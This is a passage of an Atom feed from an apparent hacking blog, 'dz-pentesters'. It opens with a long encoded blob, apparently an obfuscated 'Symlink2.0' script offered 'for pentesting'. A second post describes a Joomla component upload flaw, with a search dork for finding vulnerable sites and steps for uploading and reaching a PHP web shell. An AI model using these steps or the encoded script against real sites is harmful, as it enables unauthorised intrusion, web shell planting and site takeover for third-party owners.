0CZ92CBxpCbYlFZ8mRJOkUAlkUAlkUAlSHTydHa1dHy0phTShkrlkUAlkUAlkUTySHT0LUAlkUAlkUAlkUAlSRJFvF3lsR3kvd3WvDo9scU8mRJOkUAlkUAlkUALxUTydk25idBAmbU4mR3n1CMxpC19Pfo1SR3fXRBYvdMcpcZ5XDuEmKXPLUAlkUAlkUAlkHTykNBflfy9PcByLcbkzhtOkUAlkUAlkUALxderpKXPLUAlkUAlkUAlkHTySNUOkUAlkUAlkUALxHAldHy07tJOkUAlkUAlkUALxHTr9krlkUAlkUAlkUAlkdt4mR3Y5dU9Zd290R2ivdBAvkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VkZ9XfBkSDBYgDuOsdt9Jdo9mR3fXRBYvdMcpcZ5XDuEmKXPLUAlkUAlkUAlSUAlkNBflfy9PcByLcbkzhtOkUAlkUAlkUALxHTrpKXPLUAlkUAlkUAlSUAlSNUOkUAlkUAlkUBxkUAldHy07tJOkUAlkUAlkUBxkUTr9krlkUAlkUAlkUAlkdt4mR3Y5dU9Zd290R2ivdBAvkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VkZ9XfBkSDBYgDuOsdt9jd25MDBf1FMy0DB9VRmnPFtF7tJOkUAlkUAlkUBxkdrL9c2a0b2ilCBOlFmHPkrlkUAlkUAlkdrlkHUL7tJOkUAlkUAlkUBxkdoX9krlkUAlkUAlkdrlSUaSXbTShkrlkUAlkUAlkdrlSHT0LUAlkUAlkUAlkUAlSRJFvF3lsR3kvd3WvDo9scU8mRJOkUAlkUAlkUALxUTydk25idBAmbU4mR3n1CMxpC19Pfo1SR2pvd21SCU9jd25MDBf1FMy0DB9VRmnPFtF7tJOkUAlkUAlkUBxkHAL9c2a0b2ilCBOlFmHPkrlkUAlkUAlkdrlSHUL7tJOkUAlkUAlkUBxkHBX9krlkUAlkUAlkdrLxUaSXbTShkrlkUAlkUAlkdrLxHT0LUAlkUAlkUAlkUAlSRJFvF3lsR3kvd3WvDo9scU8mRJOkUAlkUAlkUALxUTydk25idBAmbU4mR3n1CMxpC19Pfo1SR2lVC2x1coazR2YvdMcpcZ5XDuEmKXPLUAlkUAlkUAlSdrlkNBflfy9PcByLcbkzhtOkUAlkUAlkUBxkHTrpKXPLUAlkUAlkUAlSdrlSNUOkUAlkUAlkUBxSUAldHy07tJOkUAlkUAlkUBxSUTr9krlkUAlkUAlkUAlkdt4mR3Y5dU9Zd290R2ivdBAvkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VkZ9XfBkSDBYgDuOsdt92CJ9pdMYSfBOlFZ9jd25MDBFVFoiXkzShkrlkUAlkUAlkdoxSUT1mcbOgDoaicoaZFZILUAlkUAlkUAlSdrLxhTShkrlkUAlkUAlkdoxSde0LUAlkUAlkUAlSdoxkBznfKXPLUAlkUAlkUAlSdoXxNUOkUAlkUAlkUAlkUBXVkZ9zGB0vFM9vft9Pd21lRZFVkrlkUAlkUAlkUTykHaSmdMyscUffRJFvFuaJdoljb2i0dBXvcM9ZfB0vDB5jduaLcbHvC29VcMlmRmnPFtF7tJOkUAlkUAlkUBxSHAL9c2a0b2ilCBOlFmHPkrlkUAlkUAlkdoxSHUL7tJOkUAlkUAlkUBxSHBX9krlkUAlkUAlkdoXxUaSXbTShkrlkUAlkUAlkdoXxHT0LUAlkUAlkUAlkUAlSRJFvF3lsR3kvd3WvDo9scU8mRJOkUAlkUAlkUALxUTydk25idBAmbU4mFuaJdoljb2i0dBXvC2xpcB50FZ9jd25MDBf1FMy0DB9VRmnPFtF7tJOkUAlkUAlkUBXxUAL9c2a0b2ilCBOlFmHPkrlkUAlkUAlkdoXxHUL7tJOkUAlkUAlkUBXxUBX9krlkUAlkUAlkdeykUaSXbTShkrlkUAlkUAlkdeykHT0LUAlkUAlkUAlkUAlSRJFvF3lsR3kvd3WvDo9scU8mRJOkUAlkUAlkUALxUTydk25idBAmbU4mR3n1CMxpC19Pfo1SR3Y1FunvFmWvC29VcMlmfbkifolvdJ5XDuEmKXPLUAlkUAlkUAlSHAlkNBflfy9PcByLcbkzhtOkUAlkUAlkUBXxUTrpKXPLUAlkUAlkUAlSHBxkNUOkUAlkUAlkUBXxUAldHy07tJOkUAlkUAlkUBXxdoX9krlkUAlkUAlkUAlkdt4mR3Y5dU9Zd290R2ivdBAvkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VkZ9XfBkSDBYgDuOsdt9jdolldmWvC29VcMlmfbkifolvdJ5XDuEmKXPLUAlkUAlkUAlSHBXxNBflfy9PcByLcbkzhtOkUAlkUAlkUBXxdoXpKXPLUAlkUAlkUAlSHTykNUOkUAlkUAlkUBXxdeydHy07tJOkUAlkUAlkUBXxHBX9krlkUAlkUAlkUAlkdt4mR3Y5dU9Zd290R2ivdBAvkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VkZ9XfBkSDBYgDuOsdt9zfBksDbO0DBYqcbWVFoiXkzShkrlkUAlkUAlkderxHT1mcbOgDoaicoaZFZILUAlkUAlkUAlSHTyShTShkrlkUAlkUAlkHAlkUT0LUAlkUAlkUAlSHTrxBznfKXPLUAlkUAlkUALxUAlSNUOkUAlkUAlkUAlkUBXVkZ9zGB0vFM9vft9Pd21lRZFVkrlkUAlkUAlkUTykHaSmdMyscUffRJFvFuaJdoljb2i0dBXvC2xpcB50R2YvdMcpc3aZCbOpd24VFoiXkzShkrlkUAlkUAlkHAlkHT1mcbOgDoaicoaZFZILUAlkUAlkUALxUAlShTShkrlkUAlkUAlkHAlSUT0LUAlkUAlkUALxUALxBznfKXPLUAlkUAlkUALxUBxSwe0IF3OZFo9zhtOkUAlkUAlkUALxHBXSkzwXHtFpKXPLUAlkUAlkUALxUTykNUFMdMkzFeSmKXppcJEPF3OZFo9zhtOkUAlkUAlkUALxHBXSkzwXHtFpwe09wuOZfBAIhWp7tJOkUAlkUAlkUTykHAL9wjxiwoiZcBC9kZwVkrlkUAlkUAlkUTySHU4JkZn0CbkmcbW9k19JdoyVDZF+a29ZcunZcbYzNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdrlkdtXmHjEXkZLINT0Ifuk1cULhGXPLUAlkUAlkUALxUTykNUw8CUnPFMaMNUFJRJOkUAlkUAlkUALxHTrVwJFIfoyZc2a0NUfgCMxidMSmNlfvFMOXFMazFzXvCT4JKXp9tMaSF2apcJEPF3OZFo9zhtOkUAlkUAlkUBxkdoXSkzwXHtFpwtE9NUn0FmalwoyVctnzfukXd3HPkrlkUAlkUAlkHAlkUUXmHjEXkZLIwe09wuOZfBAIhWp7tJOkUAlkUAlkUTykHAL9wJE8CUnPFMaMNUFJRJOkUAlkUAlkUBXxHBXVwJFIfoyZc2a0NUfgCMxidMSmNlfwTAYTNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdeySUUXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUUE9wJE8CUnPFMaMNUFJRJOkUAlkUAlkUBXxUTrVwJFIfoyZc2a0NUfgCMxidMSmNlfwTAYTNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkderxUUXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUUE9wJE8CUnPFMaMNUFJRJOkUAlkUAlkUBXxdoXVwJFIfoyZc2a0NUfgCMxidMSmNlfwTAYTNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdrlSdtXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUT0JwexiwoiZcBC9kZwVkrlkUAlkUAlkdrlkHU4JkZn0CbkmcbW9k19JdoyVDZF+UM9vdBxiNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdrLxdtXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUT0JwexiwoiZcBC9kZwVkrlkUAlkUAlkdrlSHU4JkZn0CbkmcbW9k19JdoyVDZF+UM9vdBxiNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdoxkdtXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUT0JwexiwoiZcBC9kZwVkrlkUAlkUAlkdrLxHU4JkZn0CbkmcbW9k19JdoyVDZF+fLk1doxlfolVNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdoxSdtXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUT0JwexiwoiZcBC9kZwVkrlkUAlkUAlkdoxkHU4JkZn0CbkmcbW9k19JdoyVDZF+fLk1doxlfolVNt9iNJw7tm0hcBxzcBlMwtizfukXd3HPkrlkUAlkUAlkdoXxdtXmHjEXkZLIwe09wuOZfBAptmShkrlkUAlkUAlkHALxUT0JwexiwoiZcBC9kZwVkrlkUAlkUAlkdoxSHU4JkZn0CbkmcbW9k19JdoyVDZF+fLk1doxlfolVNt9iNJw7tm0hcBxzcWp7tMYvdmOpdmalKXp9tJOkUAlkUAlkUTykHBXINUELUAlkUAlkUAlkHALxBZfVCB1lk10IKXplC2ivwtF8fuw+NuOLNjxiwoiZcBC9DuO0FePvR3f3fZ4mRJOkUAlkUAlkUAlSHTydHa1dHy0VkZ8+kZ4LUAlkUAlkUAlkderxBzyfBznfRJF8R2r+Nt90ce4Ytjx0ce4mRJOkUAlkUAlkUTykHALVkzXvfoW+Nt90Fj4mK2cSfbYPhtL7tm0hgWp9tm0hCmklCBS7tMYiF2AIk3Y5dUF6tJOkUAlkUAlkUAlSdrLINUnEcMlScUImR2a0CZ9VCB1lct5jd25MkZL7tMlMhtrLUAlkUAlkUAlkdoxkhWp7tMOpcUEPwJnjCB4mftnZcByLwt9lfoHvdMyscBWVC29VcJwpKXp9tMaSF2AhGXplC2ivwtw8col2woYSCbYzNUf0dbEmNjx0CBkScUnidolmdj0mC2aVfoaZkZn3DBO0De0mYeElkz48foW+Oo9sCBlVFzXvfoW+NuOLNlazcbkzNt90ce48foW+F3lsdolVDZE8R3OLNJw7tMcvFMaiC2IPkrlkUAlkUAlkUBxSUUniFZELUAlkUAlkUAlkdoXxhbShDBCPcbklc2LPk3pvdMAmRtOkUAlkUAlkUAlSderphbShFuklc19sCbOjDy9idoXPkZY6d25lwtwPRJPpwJHmRtOkUAlkUAlkUAlSderSkrlkUAlkUAlkUBXxHUL7tMcSfbYPhtL7tMlMhuY0FMxldJi0FMlshtOkUAlkUAlkUAlSHTydHa1dHy0phUE+HJl7tJOkUAlkUAlkUALxUTrINUnXd3YpGy9mcbOXf3apctiEcMlScB93dMaZhtFvcbOjR3cidoliF2azRZFVkrlkUAlkUAlkUBXxHaSxbaSXbULpKXPLUAlkUAlkUALxUTySwe0IkrlkUAlkUAlkUTykHaSmdMyscUffweShWuY5dBxpdMSPkZ8mRtfzGB0vFM9vftFpKXPLUAlkUAlkUALxUTySwe0IkrlkUAlkUAlkUBXxHaSxbaSXbTShkrlkUAlkUAlkHALxHUE9wtfFRMlZkzShkrlkUAlkUAlkHBxkUUE9wtfFRMlSkzShDBCIhoaZcBfphtwLUAlkUAlkUALxUTrxwJXLUAlkUAlkUAlkderxBzyfBznfhUnvFJnlFMamDUIJkrlkUAlkUAlkHBxkUUwSkrlkUAlkUAlkUBXxHaSxbaSXbULIhWp7tJOkUAlkUAlkUTykHBXINUEJNoOpfJnzfulScT0mwoYvdo9ZKJEjOLCXHeEXweSIfoa4ft1zDoyLd3F6wenXGtEXFuIIHbn4wuklceSIkz4JRJOkUAlkUAlkUAlSHTydHa1dHy0VkzXvcol2NJF7tm0hcBYPdZEJeWP8fuw+eWPYtjx0ce4YtjxLDbCIC2xiF3H9k2OvdUF+NorIfoyZc2a0NUfgCMxidMSmwoiZcBC9DuO0FePvR3f3fZ4JRJOkUAlkUAlkUAlSHTydHa1dHy0VkZ8+kZ4LUAlkUAlkUALxUTySRJFINt9iNJE8R2Opfj4YtjXvfoW+eWPYtI0hNuOLNI0hkZ4LUAlkUAlkUAlkHALxBZfVCB1lk10VwI0hNt90ce4YtI0heWPYtI0heWPYtjx0ce4YtjxiwoiZcBC9k3Y5dU9Zd290R2ivdBAvwJ4LUAlkUAlkUAlkHALxBZfVCB1lk10VwJ9XfBkSDBYgDuOsdtFIfoyZc2a0NUfgCMxidMSmNmY5dBxpdMSINt9iNI0hNt90ce4YtI0heWP8R3OZNjXvcol2NJEJKXpMduazDtIpKXp9tm0hgWp9tMkZcByqKXpjCbYlwtfMDBxlkzPhcBYPdZEmeWpADoAIcMlScUnXCbOPwuOvwuY5dBxpdMSYtI0hNokZwt8+NokZwt8+eWP8cM9ZdUnscbOPd2W9wmnvF3WJNI0hNolVFua0wuO5FoA9wmOlGuWJwo5idBA9wMcpdoAJwucidualNUwvDo9scU91F2aZR3n1CMxpC19Pfo1SR2cpdoAVdMyscUwIF2l6cT0JYjEJRz48CmwIRz48CmwIRz4Ytjxpdmn1ftn0GbnlNUk0cbi0wJnVCB1lNUkzGB1MDBxlwJn2CBx1cT0JcMlScU5VCB1lb3Y5dUEPwra4RJE6KJExRmO4ftEpwJnzDbplNUw2HtwvNjxJFJEvNjxJFJEvNI0hNolVFua0wuO5FoA9wmY1CM1pftwIfMySfBA9wmY5dBxpdMSJwo5idBA9wmY5dBxpdMSJwt8+wexJFJEvNjxJFJEvNI0heWPYtI0hNt9Md3ksNI0hkzShkrlkUAlkUAlkHBxkdtE9wtOgAr9TaySmcMlScUffKXPLF3lscMlScUE9wtOgAr9TaySmF3lscMlScUffKXPLF3lsdolVDZE9wtOgAr9TaySmF3lsdolVDZffKXppcJEPkuY5dBxpdMSptmShWuY5dBxpdMSPwJOkUAlkUAlkUTySUBXJRtkzGB0vkuY5dBcpdoAJhTShcBYPdZEmNokZwt8+NorIfoyZc2a0NUkgCMxidMSJwoiZcBC9wmY5dU8mRJOzGB1MDBxlRJFJwe4mRJOzGB1MDBxlRJF8R2r+kzShgWpJFMaiDzShcoaMCbaSfePhDoaicoaZhtkHd2YifolvdjPIkrlkUAlkUAlkUBxkdtwpKXp9tm1lduYltmShcBYPdZEmNocvFM0ICBY0DB9VNUwJwo1lfoivce0JFo9zftwIcB5jfulXcT0JdbaSfolXCbk0R2cvFM0scoy0CUwIdMyscT0JfbnSd2yLcbwJwolLNUk1FoxvCBOlFJw+kzShcBYPdZEmNolVFua0wuO5FoA9wMcpdoAJwo5idBA9wMcpdoAJwucidualNUkeDo9vF2AIcMlScUwIF2l6cT0JYjEJwe48DB5XfbWIdMyscT0Jb3aXdtwIfulXcT0JF3aJdBl0wJnpce0Jb3aXdtwIfMySfBA9wlaXdo9ictw+Nt9Md3ksNJF7tMlMhtELb1nNA1Odk191FoXmbUE9NUEmabnSd2yLkZLIGXppcJiEC29XGUILb0ckTraTBZfMDBxlk11dk3OsFy9VCB1lk10Sky9oUAxyA1SmcMlScUffBZfVCB1lk10phUn7cBYPdZEmNokZwt8+NokZwt8+Now+abnSd2yLcBWIF3ajC2azF2c1dtEiwTxJFj48Cmw+kzs9tMaSF2AIG2ajDo8IkzxJFJEvNjxJFJEvNL5vftn1FoxvCBOlctEiwTxJFj48Cmw+kzs9tm0hcBYPdZEmeWP8CmwIRz48CmwIRz48col2woYSCbYzNUkMd3WJNLYvceYLwok5wr1ZRLySF2rzcBSICB5LwrySRaY3DbYZcW0hNokZwt8+NokZwt8+eWpYfbYSDB1zwriiC2slFmH8R2Opfj4IkzShgWP7cBYPdZEmeWPYtjXvcol2NI0heWPYtjXvCM9LGT4YtI0hNt9Pfo1SNI0hkzS=alVnRPIq&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/5419495073345176608/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/08/script-symlink20-for-pentesting.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/5419495073345176608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/5419495073345176608'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/08/script-symlink20-for-pentesting.html' title='Script Symlink2.0 for Pentesting '/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-5760427997689887933</id><published>2012-08-26T08:40:00.001-07:00</published><updated>2012-08-27T11:31:32.072-07:00</updated><title type='text'> Joomgalaxy Remote File Upload v1.2.0.5</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi;&lt;br /&gt;
there is new upload bug in galaxy addons of joomla CMS&lt;br /&gt;
Dork: inurl:com_joomgalaxy#######################################&lt;br /&gt;
&lt;br /&gt;
Exploitation :&lt;br /&gt;
First : You have to register in the site&lt;br /&gt;
example: &lt;br /&gt;
&lt;pre&gt;http://site/index.php?option=com_users&amp;amp;view=registration&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;Second:&lt;/pre&gt;
&lt;pre&gt;go to the following link and create a new post, then go to input icon and upload your shell as follows shell.php&lt;/pre&gt;
&lt;pre&gt; http://site/index.php?option=com_joomgalaxy&amp;amp;view=addentry&lt;/pre&gt;
&lt;pre&gt;Third: &lt;/pre&gt;
&lt;pre&gt;once the post is published go to the tab images and upload your shell in the following way: shell.php&lt;/pre&gt;
&lt;pre&gt;http://site//administrator/components/com_joomgalaxy/assets/images/entry_manager/1345590149_icon_shell.php &lt;/pre&gt;
&lt;br /&gt;
Enj0y&lt;br /&gt;
Ciao.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/5760427997689887933/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://dz-pentesters.blogspot.com/2012/08/joomgalaxy-remote-file-upload-v1205.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/5760427997689887933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default/5760427997689887933'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/2012/08/joomgalaxy-remote-file-upload-v1205.html' title=' Joomgalaxy Remote File Upload v1.2.0.5'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>